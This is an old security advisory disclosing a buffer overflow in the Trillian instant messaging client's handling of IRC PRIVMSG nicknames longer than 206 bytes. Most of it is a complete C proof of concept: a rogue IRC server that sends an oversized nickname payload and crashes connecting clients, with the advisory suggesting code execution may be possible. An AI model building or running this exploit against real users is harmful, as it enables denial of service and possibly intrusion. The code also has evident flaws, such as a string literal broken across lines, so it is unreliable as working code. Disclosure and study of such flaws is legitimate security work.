Discovered:
-----------
02 September 2002 By Me, Lance Fitz-Herbert (aka phrizer).

Vulnerable Applications:
------------------------
Tested On Trillian .74 and .74, But im guessing older versions are also
vulnerable.

Impact:
-------
Low-High. This could possibly allow arbitary code to be executed on the
remote victims machine, or used as a DoS.

Details:
--------
Trillian is a popular Instant Messageing client, which supports
icq/aim/yahoo/msn and IRC.
An overflow exists in the way Trillian procceses 'PRIVMSG' commands from the
irc server. If the nickname of the sender is larger than 206 bytes, trillian
will crash and overwrite registers.

To exploit this, the victim needs to be connected to the Attackers 'IRC
Server'

Solution:
---------
Dont go on untrusted IRC Servers.

Exploit:
--------
DoS code to prove flaw:

/* Trillian-Privmsg.c
   Author: Lance Fitz-Herbert
   Contact: IRC: Phrizer, DALnet - #KORP
            ICQ: 23549284

   Exploits the Trillian Privmsg Flaw.
   Tested On Version .74 and .73
   Compiles with Borland 5.5 Commandline Tools.

   This Example Will Just DoS The Trillian Client,
   not particularly useful, just proves the flaw exists.
*/

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <winsock.h>

SOCKET s;

#define MSG1 ":server 001 target :target\n:"
#define MSG2 "!identaddress PRIVMSG target :You are the weakest link,
Goodbye.\n"

int main() {

        SOCKET TempSock = SOCKET_ERROR;
        WSADATA WsaDat;
        SOCKADDR_IN Sockaddr;
        int nRet;
        char payload[300];

        printf("\nTrillian Privmsg Flaw\n");
        printf("----------------------\n");
        printf("Coded By Lance Fitz-Herbert (Phrizer, DALnet/#KORP)\n");
        printf("Tested On Version .74 and .73\nListening On Port 6667 For
Connections\n\n");

        if (WSAStartup(MAKEWORD(1, 1), &WsaDat) != 0) {
                printf("ERROR: WSA Initialization failed.");
                return 0;
        }

        /* Create Socket */
        s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
        if (s == INVALID_SOCKET) {
                printf("ERROR: Could Not Create Socket. Exiting\n");
                WSACleanup();
                return 0;
        }

        Sockaddr.sin_port = htons(6667);
        Sockaddr.sin_family = AF_INET;
        Sockaddr.sin_addr.s_addr = INADDR_ANY;

        nRet = bind(s, (LPSOCKADDR)&Sockaddr, sizeof(struct sockaddr));
        if (nRet == SOCKET_ERROR) {
                printf("ERROR Binding Socket");
                WSACleanup();
                return 0;
        }

        /* Make Socket Listen */
        if (listen(s, 10) == SOCKET_ERROR) {
                printf("ERROR: Couldnt Make Listening Socket\n");
                WSACleanup();
                return 0;
        }

        while (TempSock == SOCKET_ERROR) {
              TempSock = accept(s, NULL, NULL);
        }

        printf("Client Connected, Sending Payload\n");

        send(TempSock,MSG1,strlen(MSG1),0);
        memset(payload,'A',300);
        send(TempSock,payload,strlen(payload),0);
        send(TempSock,MSG2,strlen(MSG2),0);

        printf("Exiting\n");
        sleep(100);
        WSACleanup();
        return 0;
}

--end code--

----
NOTE: Because of the amount of spam i receive, i require all emails directed
*to me* to contain the word "nospam" in the subject line somewhere. Else i
might not get your email. thankyou.
----
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